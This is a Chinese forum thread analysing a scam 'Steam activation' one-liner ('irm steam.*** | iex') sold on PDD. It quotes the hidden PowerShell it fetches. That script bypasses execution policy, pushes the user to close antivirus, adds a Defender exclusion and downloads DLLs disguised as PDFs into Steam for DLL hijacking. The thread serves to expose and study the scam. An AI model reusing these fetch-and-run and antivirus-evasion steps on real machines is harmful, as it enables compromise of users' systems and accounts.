V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
cncmmdwl
V2EX  ›  Steam

steam 假激活的玩意分析

  •  
  •   cncmmdwl · 72 天前 · 2073 次点击
    这是一个创建于 72 天前的主题,其中的信息可能已经有所发展或是发生改变。

    pdd 店家假激活要求输入这个命令

    irm steam.*** | iex 
    

    尝试浏览器直接访问这个 steam 网站,直接跳转到了真 steam 思路错误 然后把管道符号|去掉 发现拉去的还是 html ,发现有些不对,于是把

    irm steam.*** 
    

    的玩意全部一股脑扔进 vscode 然后折叠 html 发现了这个玩意

    
    #>
    
    irm steam.***/pwsDwFile/new -OutFile x.ps1
    
    powershell.exe -ExecutionPolicy Bypass -File x.ps1;
    
    <#
    

    使用 powershell 绕过执行策略的限制 这里我最开始没发现问题,看了半天 html 都快傻眼了,代码还能混淆进 html ?最后反向思考肯定得用 powershell 才能执行接下来的脚本,于是搜搜 powershell 关键字给我找出来上面那两玩意,前面那句居然是藏在 html 里面的,后面那句没有隐藏,vscode 折叠一下就看见 powershell 了 继续跟进 x.ps1

    cls
    
    $filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
     if (Test-Path $filePathToDelete) {
        Remove-Item -Path $filePathToDelete
    }
    $desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
    if (Test-Path $desktopFilePathToDelete) {
        Remove-Item -Path $desktopFilePathToDelete
    }
    

    把自己删了

    $steamRegPath = 'HKCU:\Software\Valve\Steam'
    

    搜搜 steam

    $localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
    if ((Test-Path $steamRegPath)) {
        $properties = Get-ItemProperty -Path $steamRegPath
        if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
            $steamPath = $properties.SteamPath
        }
    }
    

    让用户关掉授权

    if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        Write-Host "[请重新打开 Power shell 打开方式以管理员身份运行]" -ForegroundColor:red
        exit
    }
    
    function PwStart() {
        if(Get-Process "360Tray*" -ErrorAction Stop){
            while(Get-Process 360Tray* -ErrorAction Stop){
                Write-Host "[请先退出 360 安全卫士]" -ForegroundColor:Red
                Start-Sleep 1.5
            }
            PwStart
    
        }
        if(Get-Process "360sd*" -ErrorAction Stop)
        {
            while(Get-Process 360sd* -ErrorAction Stop){
                Write-Host "[请先退出 360 杀毒]" -ForegroundColor:Red
                Start-Sleep 1.5
            }
            PwStart
        }
    

    这句话很奇怪,实际上虚拟机里面没有 steam 并没有执行?

        if ($steamPath -eq ""){
            Write-Host "[请检查您的 Steam 是否正确安装]" -ForegroundColor:Red
            exit
        }
    

    关掉 steam

        Write-Host "[ServerStart        OK]" -ForegroundColor:green
        Stop-Process -Name steam* -Force -ErrorAction Stop
        Start-Sleep 2
        if(Get-Process steam* -ErrorAction Stop){
            TASKKILL /F /IM "steam.exe" | Out-Null
            Start-Sleep 2
        }
    
        if (!(Test-Path $localPath)) {
            md $localPath | Out-Null
            if (!(Test-Path $localPath)) {
                New-Item $localPath -ItemType directory -Force | Out-Null
            }
        }
    
        $catchPath = -join ($steamPath,"\package\data")
        if ((Test-Path $catchPath)) {
            if ((Test-Path $catchPath)) {
                Remove-Item $catchPath -Recurse -Force | Out-Null
            }
        }
    

    添加免杀

        try{
            Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
            Start-Sleep 3
        }catch{}
    
        Write-Host "[Result->0          OK]" -ForegroundColor:green
    

    删掉其他家的 dll ?

        try{
            $d = $steamPath + "/version.dll"
            if (Test-Path $d) {
                Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
            }
            $d = $steamPath + "/user32.dll"
            if (Test-Path $d) {
                Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
            }
            $d = $steamPath + "/hid.dll"
            if (Test-Path $d) {
                Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
            }
        }catch{
            Write-Host "[异常残留请检查[$d]文件是否异常!]" -ForegroundColor:red
            exit
        }
    

    下 pdf 假装?话说老哥们有啥可以刷网络的工具么,其实我有点想刷上一波把他 cdn 刷干净,但是限速 2m 并且单 ip 限 1 个线程

        $downloadData = "http://steam.***/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
        $downloadLink = "http://steam.***/pwsDwFile/9b96dab2bb0ba18d56068fabc5b17185.pdf"
        
        irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
        Write-Host "[Result->1          OK]" -ForegroundColor:green
        $d = $localPath + "/hid"
        irm -Uri $downloadData -OutFile $d -ErrorAction Stop
        Write-Host "[Result->2          OK]" -ForegroundColor:green
        
        Start-Sleep 1
    

    重新打开 steam

        Start steam://
        Write-Host "[连接服务器成功请在 Steam 输入激活码 3 秒后自动关闭]" -ForegroundColor:green
        Start-Sleep 3
        exit
    |
    }
    

    整体看下来就是给 steam 添加了两个文件,可是看起来并没有进行注入什么的啊,我理解就需要 dll 时候是先拉文件目录内的 dll 进行执行?这样才能解释为啥就是只添加了两个文件?

    8 条回复    2024-02-18 10:53:06 +08:00
    FlytoSirius
        1
    FlytoSirius  
       72 天前
    是的, 这种假激活出来这两年 直接在 tb 和 pdd 泛滥, 明明就是欺骗用户, 但是就这么正常做了几年了.

    终于有人 研究下这个东西了.
    cncmmdwl
        2
    cncmmdwl  
    OP
       72 天前
    @FlytoSirius 我技术不精 剩下两个 dll 没法分析,只能说是一点小贡献,主要是好友的 steam 被刷了一波道具找上我。。。
    olaloong
        3
    olaloong  
       72 天前 via Android
    就是 DLL 劫持
    假入库原理可以去了解下 GreenLuma Steamtools 等工具
    Raynard
        4
    Raynard  
       71 天前 via iPhone
    我就被这玩意坑了,99 买的帕鲁激活码,发现不入库,还提心掉胆的怕封号……
    我还是美区,又 99 买了个发现只能国区用
    wegbjwjm
        5
    wegbjwjm  
       71 天前
    KEYLOL 好多大佬八折代购啊
    VIVIANSNOW
        6
    VIVIANSNOW  
       70 天前
    我平时很少玩游戏 steam 有直接一键上号 不用验证任何。即使你有什么安全邮箱 手机 二次认证。没什么用。直接过。换个思路也可以直接让你玩上
    SuspectX
        7
    SuspectX  
       69 天前
    @Raynard 99? 好像跟原价差不多啊,为啥不直接买?
    Raynard
        8
    Raynard  
       69 天前
    @SuspectX 美区贵啊,还以为 99 全服都能激活来着
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   914 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 20:03 · PVG 04:03 · LAX 13:03 · JFK 16:03
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.